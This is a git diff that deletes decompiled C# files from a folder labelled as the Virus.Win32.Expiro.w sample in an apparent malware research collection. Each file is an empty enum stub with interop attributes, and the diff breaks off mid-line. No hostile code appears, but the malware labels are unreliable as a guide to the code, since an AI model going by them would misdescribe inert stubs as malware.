b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEGETMONIKER.cs deleted file mode 100644 index 7b470b67..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEGETMONIKER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEGETMONIKER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLEGETMONIKER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLELINKBIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLELINKBIND.cs deleted file mode 100644 index a301e359..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLELINKBIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLELINKBIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLELINKBIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEMISC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEMISC.cs deleted file mode 100644 index ac00847c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEMISC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEMISC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLEMISC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLERENDER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLERENDER.cs deleted file mode 100644 index 29a13630..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLERENDER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLERENDER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLERENDER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEUPDATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEUPDATE.cs deleted file mode 100644 index 1ccaf819..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEUPDATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEUPDATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagOLEUPDATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEVERBATTRIB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEVERBATTRIB.cs deleted file mode 100644 index 79073aa0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEVERBATTRIB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEVERBATTRIB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLEVERBATTRIB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEWHICHMK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEWHICHMK.cs deleted file mode 100644 index e59b70fe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEWHICHMK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEWHICHMK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLEWHICHMK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOPEN_AS_INFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOPEN_AS_INFO_FLAGS.cs deleted file mode 100644 index 6c82f188..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOPEN_AS_INFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOPEN_AS_INFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagOPEN_AS_INFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGMSG.cs deleted file mode 100644 index aa6ad5d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGMSG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPENDINGMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGTYPE.cs deleted file mode 100644 index 032372e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPENDINGTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPERSIST_SPROPSTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPERSIST_SPROPSTORE_FLAGS.cs deleted file mode 100644 index 4990d4b5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPERSIST_SPROPSTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPERSIST_SPROPSTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPERSIST_SPROPSTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPKA_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPKA_FLAGS.cs deleted file mode 100644 index 7973dec2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPKA_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPKA_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPKA_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPOINTERINACTIVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPOINTERINACTIVE.cs deleted file mode 100644 index 91d6bed2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPOINTERINACTIVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPOINTERINACTIVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPOINTERINACTIVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPBAG2_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPBAG2_TYPE.cs deleted file mode 100644 index d3cc9488..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPBAG2_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPBAG2_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPBAG2_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_AGGREGATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_AGGREGATION_TYPE.cs deleted file mode 100644 index b9127858..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_AGGREGATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_AGGREGATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_AGGREGATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_COLUMNINDEX_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_COLUMNINDEX_TYPE.cs deleted file mode 100644 index 73a1b619..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_COLUMNINDEX_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_COLUMNINDEX_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPROPDESC_COLUMNINDEX_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_CONDITION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_CONDITION_TYPE.cs deleted file mode 100644 index 3ded1926..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_CONDITION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_CONDITION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_CONDITION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_DISPLAYTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_DISPLAYTYPE.cs deleted file mode 100644 index c097d9a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_DISPLAYTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_DISPLAYTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_DISPLAYTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_ENUMFILTER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_ENUMFILTER.cs deleted file mode 100644 index 0054a98c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_ENUMFILTER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_ENUMFILTER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_ENUMFILTER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_FORMAT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_FORMAT_FLAGS.cs deleted file mode 100644 index 3e2a7e6f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_FORMAT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_FORMAT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_FORMAT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_GROUPING_RANGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_GROUPING_RANGE.cs deleted file mode 100644 index cee34207..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_GROUPING_RANGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_GROUPING_RANGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_GROUPING_RANGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs deleted file mode 100644 index 9d2eaf09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_RELATIVEDESCRIPTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_RELATIVEDESCRIPTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SEARCHINFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SEARCHINFO_FLAGS.cs deleted file mode 100644 index 59649ead..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SEARCHINFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_SEARCHINFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_SEARCHINFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SORTDESCRIPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SORTDESCRIPTION.cs deleted file mode 100644 index 7f7792a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SORTDESCRIPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_SORTDESCRIPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using 